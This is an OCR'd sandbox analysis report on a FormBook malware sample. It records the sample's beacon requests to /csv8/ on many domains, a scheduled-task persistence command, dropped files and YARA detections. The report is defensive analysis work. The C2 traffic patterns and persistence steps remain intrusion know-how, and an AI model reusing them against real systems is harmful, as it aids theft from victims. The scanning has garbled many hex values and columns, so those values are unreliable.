66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6¢ 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 74 3b 63 6f 6¢ 6f 72 3a
72 65 64 20 7d 0d Oa 20 20 20 20 20 20 20 20 20 48 32 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 22 56 65 72 64 61
6e 61 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6¢ 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 74 3b 63 6f
6¢ 6f 72 3a 6d 61 72 6f 6f 6e 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 70 72 65 20 7b 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a
22 43 6f 6e 73 6f 6¢ 61 73 22 2¢ 22 4¢ 75 63 69 64 61 20 43 6f 6e 73 6f 6¢ 65 22 2¢ 4d 6f 6e 6f 73 70 61 63 65 3b 66 6f 6e
74 2d 73 69 7a 65 3a 31 31 70 74 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 2e 35 65 6d 3b 6¢ 69 6e 65
2d 68 65 69 67 68 74 3a 31 34 70 74 7d 0d Oa 20 20 20 20 20 20 20 20 20 2e 6d 61 72 6b 65 72 20 7b 66 6f 6e 74 2d 77
65 69 67 68 74 3a 20 62 6f 6¢ 64 3b 20 63 6f 6¢ 6f 72 3a 20 62 6¢ 61 63 6b 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f
6e 3a 20 6e 6f 6e 65 3b 7d 0d 0a 20 20 20 20 20 20 20 20 20 2e 76 65 72 73 69 6f 6e 20 7b 63 6f 6¢ 6f 72 3a 20 67 72 61
79 3b 7d 0d 0a 20 20 20 20 20 20 20 20 20 2e 65 72 72 6f 72 20 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 30 70
78 3b 7d 0d 0a 20 20 20 20 20 20 20 20 20 2e 65 78 70 61 6e 64 61 62 6¢ 65 20 7b 20 74 65 78 74 2d 64 65 63 6f 72 61
74 69 6f 6e 3a 75 6e 64 65 72 6¢ 69 6e 65 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6¢ 64 3b 20 63 6f 6¢ 6f 72 3a
6e 61 76 79 3b 20 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 20 7d 0d

Data Ascii: <IDOCTYPE html><html> <head> <title> null<br>: input</title> <meta name="viewport" content=
"width=device-width" /> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}

p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana";font-weight:bold;col
or:black;margin-top: -5px} H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red } H2 { font-fami
ly:"Verdana";font-weight:normal;font-size:14pt;color:maroon } pre {font-family:"Consolas","Lucida Console",Monos
pace;font-size:11pt;margin:0;padding:0.5em;line-height:14pt} .marker {font-weight: bold; color: black;text-decoration:
none;} .version {color: gray;} .error {margin-bottom: 10px;} .expandable { text-decoration:underline; font-we
ight:bold; color:navy; cursor:pointer; }

Destination IP Destination Port Process

45.77.226.209 80 C:\Windows\explorer.exe

Data

GET /csv8/?t808sPp=+aP4wUbNbXNo+DXgxdcGOO71e47nUjGI8093VpAmMIXcOKCIjUH4+hXL6+b4dsCsJZjty&jB
Zd=KnhT HTTP/1.1

Host: www.fessusesefsee.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Wed, 13 Jan 2021 20:17:53 GMT

Server: X-SinkHole: Malware DNS SinkHole Server

Content-Length: 307

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3¢ 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f
74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f
75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 73 76 38 2f 20 77 61 73
20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3¢ 68 72 3e 0a 3c 61 64 64
72 65 73 73 3e 58 2d 53 69 6e 6b 48 6f 6¢ 65 3a 20 4d 61 6¢ 77 61 72 65 20 44 4e 53 20 53 69 6e 6b 48 6f 6¢ 65 20 53 65
7276 6572205365 727665722061 74207777 77 2e 66 65 73 73 75 73 65 73 65 66 73 65 65 2e 63 6f 6d 20 50 6f
7274 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /csv8/ was not found on this server.</p><hr><address>X-SinkHole:
Malware DNS SinkHole Server Server at www.fessusesefsee.com Port 80</address></body></html>

Destination IP Destination Port Process

142.44.212.169 80 C:\Windows\explorer.exe
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Timestamp

Jan 13, 2021
21:06:23.388031960 CET

Jan 13, 2021
21:06:24.072344065 CET

Session ID

2

Timestamp

Jan 13, 2021
21:04:54.974946022 CET

Jan 13, 2021
21:04:55.720679045 CET

Session ID

3

Timestamp

Jan 13, 2021
21:05:00.634299994 CET

Jan 13, 2021
21:05:00.772897959 CET

Copyright null 2021

kBytes
transferred

10021

10023

Source IP

192.168.2.3
kBytes

transferred

9649

9649

Source IP

192.168.2.3
kBytes

transferred

9662

9665

Direction

ouT

Source Port

49756

Direction

ouT

Source Port

49758

Direction

ouT

Data

GET /csv8/?t808sPp=8DCWdIpVqJDMTE601pDiewAZ51bcDeHXIhtTkyu/PoYXbpdVgZUBuvBpvOR50TNOYigA&B
Zd=KnhT HTTP/1.1

Host: www.queensboutique1000.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Wed, 13 Jan 2021 20:06:23 GMT

Server: Apache

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

X-Redirect-By: WordPress

Set-Cookie: wp_woocommerce_session_f594b69e16a4b5047a231fa253aalf27=03992809e1dafa22878fd09f51a014ee
%7C%7C1610741183%7C%7C1610737583%7C%7C40941839f9c3c2b52346de3c823ded95; expires=Fri, 15-Jan-2021
20:06:23 GMT; Max-Age=172800; path=/; HttpOnly

Location: http://queensboutique1000.com/csv8/?t808sPp=8DCWdIpVqJDMTE601pDiewAZ51bcDeHXIhtTkyu/PoYXbp

dVgZUBuUvBpvOR50TNOYigA&jBZd=KnhT

Content-Length: 0

Connection: close

Content-Type: text/html; charset=UTF-8

Destination IP Destination Port Process

142.44.212.169 80 C:\Windows\explorer.exe

Data

GET /csv8/?t808sPp=8DCWdIpVgqJDMTE601pDiewAZ51bcDeHXIhtTkyu/PoYXbpdVgZUBuvBpvOR50TNOYigA&B
Zd=KnhT HTTP/1.1

Host: www.queensboutique1000.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Wed, 13 Jan 2021 20:04:55 GMT

Server: Apache

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

X-Redirect-By: WordPress

Set-Cookie: wp_woocommerce_session_f594b69e16a4b5047a231fa253aalf27=b7bae79cc80ddaa5594beaf6bd33068b
%7C%7C1610741095%7C%7C1610737495%7C%7Cc55af832d2d4108ede2bccfd1945ac5e; expires=Fri, 15-Jan-2021
20:04:55 GMT; Max-Age=172800; path=/; HttpOnly

Location: http://queensboutique1000.com/csv8/?t808sPp=8DCWdIpVqJDMTE60O1pDiewAZ51bcDeHXIhtTkyu/PoYXbp
dVgZUBuUvBpvOR50TNOYigA&jBZd=KnhT

Content-Length: 0

Connection: close

Content-Type: text/html; charset=UTF-8

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /csv8/?t808sPp=qn4X4+yxbbSsDYaEiiQ2PWd8LISUNSGHgTXva27qpzu+WFndrUbREk96g9Cvik6UddJID&jB
Zd=KnhT HTTP/1.1

Host: www.studentdividers.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 13 Jan 2021 20:05:00 GMT

Content-Type: text/html

Content-Length: 275

ETag: "5ffc83a2-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0Oa 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2¢ 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>
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Session ID Source IP

4 192.168.2.3

kBytes
Timestamp transferred
Jan 13, 2021 9679

21:05:05.893126011 CET

Jan 13, 2021 9679

21:05:05.933063984 CET

Session ID Source IP

5 192.168.2.3
kBytes

Timestamp transferred

Jan 13, 2021 9682

21:05:11.046991110 CET

Jan 13, 2021 9682
21:05:11.186150074 CET

Session ID Source IP
6 192.168.2.3

kBytes
Timestamp transferred
Jan 13, 2021 9684

21:05:22.236080885 CET

Jan 13, 2021 9684
21:05:22.461457014 CET

Copyright null 2021

Source Port

49759

Direction

ouT

Source Port

49760

Direction

ouT

Source Port

49761

Direction

ouT

Destination IP Destination Port Process

192.0.78.208 80 C:\Windows\explorer.exe

Data

GET /csv8/?t808sPp=2wKj9ShwklggAmvMfFOit6gAOE2+kz8+Lfh+752BzZBDIYhxiYZDgoXg2lgvsclWEsaZ&BZd=KnhT
HTTP/1.1

Host: www.logansshop.net

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Server: nginx

Date: Wed, 13 Jan 2021 20:05:05 GMT

Content-Type: text/html

Content-Length: 162

Connection: close

Location: https://logansshop.net/csv8/?t808sPp=ZwKj9ShwklggAmvMfFOit6gAOE2+kz8+Lfh+752BzZBDIYhxiYZDg
o0Xg2lqvsclWEsaZ&jBZd=KnhT

X-ac: 2.hhn

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61
6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c
68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa
3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68
74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>301 Moved Permanently</titte></head><body><center><h1>301 Moved Permanently</h1
></center><hr><center>nginx</center></body></htm|>

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /csv8/?t808sPp=iJ9LMG7MIiwQjz4N9h8Hg4mQMyMQB8EbCXmiUEypb7zSuax6avA4zdFyQt2cMJ86uh/oE&|B
Zd=KnhT HTTP/1.1

Host: www.epicmassiveconcepts.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 13 Jan 2021 20:05:11 GMT

Content-Type: text/html

Content-Length: 275

ETag: "5ffc8399-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

192.155.166.181 80 C:\Windows\explorer.exe

Data

GET /csv8/?t808sPp=/WWabBMDJNFcoLagfnEbo6hmuOxaPIPf4Swj3PCSZ12YB4sttwIxqUCSSH4NALIN37R36&jB
Zd=KnhT HTTP/1.1

Host: www.exit-divorce.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Server: nginx

Date: Wed, 13 Jan 2021 20:05:22 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Data Raw: 31 0d Oa 2e 0d Oa 30 0d Oa 0Od Oa
Data Ascii: 1.0
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Session ID Source IP
7 192.168.2.3

kBytes
Timestamp transferred
Jan 13, 2021 9818

21:05:27.905106068 CET

Jan 13, 2021 9819
21:05:28.102826118 CET

Session ID Source IP
8 192.168.2.3

kBytes
Timestamp transferred
Jan 13, 2021 9992

21:05:38.638372898 CET

Jan 13, 2021 9993
21:05:38.823584080 CET

Session ID Source IP
9 192.168.2.3

kBytes
Timestamp transferred
Jan 13, 2021 9994

21:05:44.419821978 CET

Code Manipulations

Statistics

Copyright null 2021

Source Port

49765

Direction

ouT

Source Port

49766

Direction

ouT

Source Port

49767

Direction

ouT

Destination IP Destination Port Process

205.134.254.189 80 C:\Windows\explorer.exe

Data

GET /csv8/?t808sPp=UyqXkzQbKyztPGX66gxwvXaplLDI1TOmYI10usxIxwN3fVBnLta3wXT2zIL/XRKQBU5V&BZd=KnhT
HTTP/1.1

Host: www.splendidhotelspa.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Server: nginx/1.19.3

Date: Wed, 13 Jan 2021 20:05:28 GMT

Content-Type: text/html; charset=iso-8859-1

Content-Length: 236

Connection: close

Vary: Accept-Encoding

Data Raw: 3¢ 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 3¢ 74 69 74 6¢ 65 3e 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 46
6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 3c 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 45 72 72 6 72 20 34 30 34 20 2d 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 79 6f 75 20 61 72 65 20 6¢ 6f 6f
6b 69 6e 67 20 66 6f 72 20 6d 61 79 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 20 6f 72 20 72 65 2d 6e 61 6d
65 64 2e 20 50 6¢ 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 77 65 62 20 73 69 74 65 20 6f 77 6e 65 72 20 66 6f
7220667572 74 68 65 72 20 61 73 73 69 73 74 61 6e 63 65 2e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e
Data Ascii: <html><head><title>Error 404 - Not Found</title><head><body><h1>Error 404 - Not Found</h1><p>The d
ocument you are looking for may have been removed or re-named. Please contact the web site owner for further a
ssistance.</p></body></html>

Destination IP Destination Port Process

146.148.193.212 80 C:\Windows\explorer.exe

Data

GET /csv8/?t808sPp=jG588BPFN24GA+JnJbzwJploc208xnuoJDpFE+MGYeEjWt0JePkAwfwipDNVIrzBFNJV&|B
Zd=KnhT HTTP/1.1

Host: www.stnanguo.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Server: nginx

Date: Wed, 13 Jan 2021 20:05:38 GMT

Content-Type: text/html

Content-Length: 146

Connection: close

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f
7469 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3¢ 63 65 6e 74 65 72 3e 6e 67 69 6e
78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html|>

Destination IP Destination Port Process

23.105.124.225 80 C:\Windows\explorer.exe

Data

GET /csv8/?t808sPp=qrM/jg40cBIVG2RWEVIOjlwgtu+jolliSW/njvsFRiZ9j79vyWJq+CFtdr2TsRW1k8yh&BZd=KnhT HT
TP/1.1

Host: www.alparmuhendislik.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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Behavior

@ JOOmHIlagw8.exe
@ schtasks.exe

@ conhost.exe

@ vbc.exe

@ vbc.exe

@ explorer.exe

@ control.exe

@ cmd.exe

® conhost.exe

System Behavior

Click to jump to process

Analysis Process: J0OOmHIlagwa8.exe PID: 5816 Parent PID: 5576

General

Start time: 21:03:35

Start date: 13/01/2021

Path: C:\Users\user\Desktop\JOOmHIlagw8.exe

Wow64 process (32bit): true

Commandline: ‘C:\Users\user\Desktop\JOOmHIagw8.exe'

Imagebase: 0xe50000

File size: 582656 bytes

MDS5 hash: 92FF500A693078263908C83B4B290481

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000002.241423456.0000000004269000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000000.00000002.241423456.0000000004269000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com
e Rule: Formbook, Description: detect Formbook in memory, Source:

00000000.00000002.241423456.0000000004269000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: low

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user read data or list device directory file | object name collision 1 6EOACF06 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Roaming read data or list device directory file | object name collision 1 6EOACF06 unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse
point
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File Path

C:\Users\user\AppData\Roaming\JcEEHoQdnETCO.exe

C:\Users\user\AppData\Local\Temp\tmpF65F.tmp

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\
JOOmHIagw8.exe.log

File Deleted

File Path

C:\Users\user\AppData\Local\Temp\tmpF65F.tmp

File Written

File Path

C:\Users\user\AppData\Roaming\JcEEHoQdnETCO.exe

Copyright null 2021

Access

Attributes

read attributes | device
synchronize |
generic write

read attributes | device
synchronize |
generic read

read attributes | device
synchronize |
generic write

Length Value

unknown 582656 4d 5a 90 00 03 00 00

00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 80 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 50 45 00 00 4c 01
03 00 6a e9 6¢ 8c 00
00 00 00 00 00 00 00
€0 00 02 01 Ob 01 30
00 00 ba 08 00 00 28
00 00 00 00 00 00 96
d8 08 00 00 20 00 00
00 e0 08 00 00 00 40
00 00 20 00 00 00 02
00 00 04 00 00 00 00
00 00 00 04 00 00 00
00 00 00 00 00 40 09
00 00 02 00 00 00 00
00 00 02 00 40 85 00
00 10 00 00 10 00 00
00 00 10 00 00 10 00
00 00 00 00 00 10 00
00 00 00 00 00 00 00
00 00

Options Completion

synchronous io  success or wait 1

non alert | non
directory file |
open no recall

synchronous io  success or wait 1

non alert | non
directory file

synchronous io  success or wait 1

non alert | non
directory file

cannot be run in DOS
mode....
$.....PE..L..jl

Completion

success or wait

Completion

success or wait

.1..L.IThis program

Source

Count Address Symbol

6CEF1E60 CreateFileW

6CEF7038 GetTempFileNameW

6E3BC78D CreateFileW

Source
Count Address Symbol

1 6CEF6A95 DeleteFilew

Source
Count Address Symbol

1 6CEF1B4F WriteFile
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File Path Offset

C:\Users\user\AppData\Local\Temp\tmpF65F.tmp unknown 1646

C:\Users\user\AppData\Local\Mi unknown 1216

crosoft\CLR_v4.0_32\UsageLogs\JOOmHIlagw8.exe.log

File Read

File Path
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config

C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\a152
fe02a317a77aeee36903305e8baé\mscorlib.ni.dll.aux

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config

Copyright null 2021

Length Value

3c 3f 78 6d 6¢ 20 76
65 72 73 69 6f 6e 3d
22 31 2e 3022 20 65
6e 63 6f 64 69 6e 67
3d 22 5554 46 2d 31
36 22 3f 3e 0d 0a 3c
54 61 73 6b 20 76 65
72 73 69 6f 6e 3d 22
31 2e 32222078 6d
6¢c 6e 73 3d 22 68 74
7470 3a 2f 2f 73 63
68 65 6d 61 73 2e 6d
69 63 72 6f 73 6f 66
74 2e 63 6f 6d 2f 77
69 6e 64 6f 77 73 2f
32303034 2f 3032
2f 6d 69 74 2f 74 61
73 6b 22 3e 0d 0a 20
20 3¢ 52 6567 69 73
7472 61 74 69 6f 6e
49 6e 66 6f 3e 0d Oa
2020 20 20 3c 44 61
74653e32303134
2d 3130 2d 32 3554
31343a32373a34
34 2e 3839 3239 30
32373c2f446174
65 3e 0d 0a 20 20 20
20 3c 41 75 74 68 6f
72 3e 44 45 53 4b 54
4f 50 2d 37 31 36 54
3737315c 686172
64 7a3c 2f41 7574
68 6f 72 3e 0d Oa 20
20 3c 2f 52 65 67 69
73 7472 61 74 69 6f
6e 49 6e

312¢ 2266 7573 69
6f 6e 22 2¢ 22 47 41
4322 2c 30 0d Oa 31
2c 22 57 69 6e 52 54
22 2c 22 4e 6f 74 41
707022 2c 31 0d Oa
322¢ 2253797374
65 6d 2e 57 69 6e 64
6f 77 73 2e 46 6f 72
6d 73 2¢c 20 56 65 72
73 69 6f 6e 3d 34 2e
30 2e 30 2e 30 2c 20
43756¢ 747572 65
3d 6e 657574 72 61
6¢ 2¢ 20 50 75 62 6C
69 63 4b 65 79 54 6f
6b 65 6e 3d 62 37 37
61 35 63 35 36 31 39
33 34 65 30 38 39 22
2c¢ 30 0d 0a 33 2¢ 22
5379 7374 65 6d 2¢c
20 56 65 72 73 69 6f
6e 3d 34 2e 30 2e 30
2e 30 2¢ 20 43 75 6¢
7475 72 65 3d 6e 65
757472 61 6¢ 2c 20
50 75 62 6¢ 69 63 4b
65 79 54 6f 6b 65 6e
3d 62 37 37 61 35 63
3536 31 39 33 34 65
30383922 2c2243
3a 5c 57 69 6e 64 6f
77735¢ 61737365
6d 62 6¢ 79 5c 4e 61
74 69 76 65 49 6d 61
67 65 73 5f 76 34 2e
30 2e 33

Ascii

<?xml version="1.0"
encoding="UTF-16"?>..
<Task version="1.2"

xmlns="http://schemas.mic

roso

ft.com/windows/2004/02/m

it/task">..
<RegistrationInfo>..
<Date>2014-10-
25T14:27:44.892
9027</Date>..
<Author>compu
ter\user</Author>..
</Registrationin

Completion

success or wait

1,"fusion”,"GAC",0..1,"Win success or wait

RT",

"NotApp",1..2,"System.Win

dows.Forms,
Version=4.0.0.0, Cultur
e=neutral,
PublicKeyToken=b77a

5c561934e089",0..3,"Syste

m, Version=4.0.0.0,
Culture=neutral,

PublicKeyToken=b77a5c5

61934e

089","C:\Windows\assembl

y\Nativelmages_v4.0.3

Offset Length
unknown 4095
unknown 6135
unknown 176
unknown 4095

Completion
success or wait
success or wait

success or wait

success or wait

Count Address

1

1

Count Address

1
1
1

1

Source
Symbol

6CEF1B4F WriteFile

6E3BC907 WriteFile

Source

Symbol
6E085705 unknown
6E085705 unknown

6DFEO3DE ReadFile

6E08CA54 ReadFile
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Source

File Path Offset Length Completion Count Address  Symbol

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e unknown 620 success or wait 1 6DFEO3DE ReadFile

efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config unknown 864 success or wait 1 6DFEO3DE ReadFile

uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dil.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f unknown 900 success or wait 1 6DFEO3DE ReadFile

1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2 unknown 748 success or wait 1 6DFEO3DE ReadFile

19d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll.aux

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6E085705 unknown

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 8171 end of file 1 6E085705 unknown

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4096 success or wait 1 6CEF1B4F ReadFile

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4096 end of file 1 6CEF1B4F ReadFile

C:\Users\user\Desktop\JOOmHIlagw8.exe unknown 582656 success or wait 1 6CEF1B4F ReadFile
Analysis Process: schtasks.exe PID: 5856 Parent PID: 5816

General

Start time: 21:03:39

Start date: 13/01/2021

Path: C:\Windows\SysWOW64\schtasks.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

‘C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\JcEEHOQdnETCO' /XML 'C:\
Users\user\AppData\Local\Temp\tmpF65F.tmp'

0xe0000
185856 bytes

15FF7D8324231381BAD48A052F85DF04

true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
File Read
Source
File Path Offset Length Completion Count Address Symbol
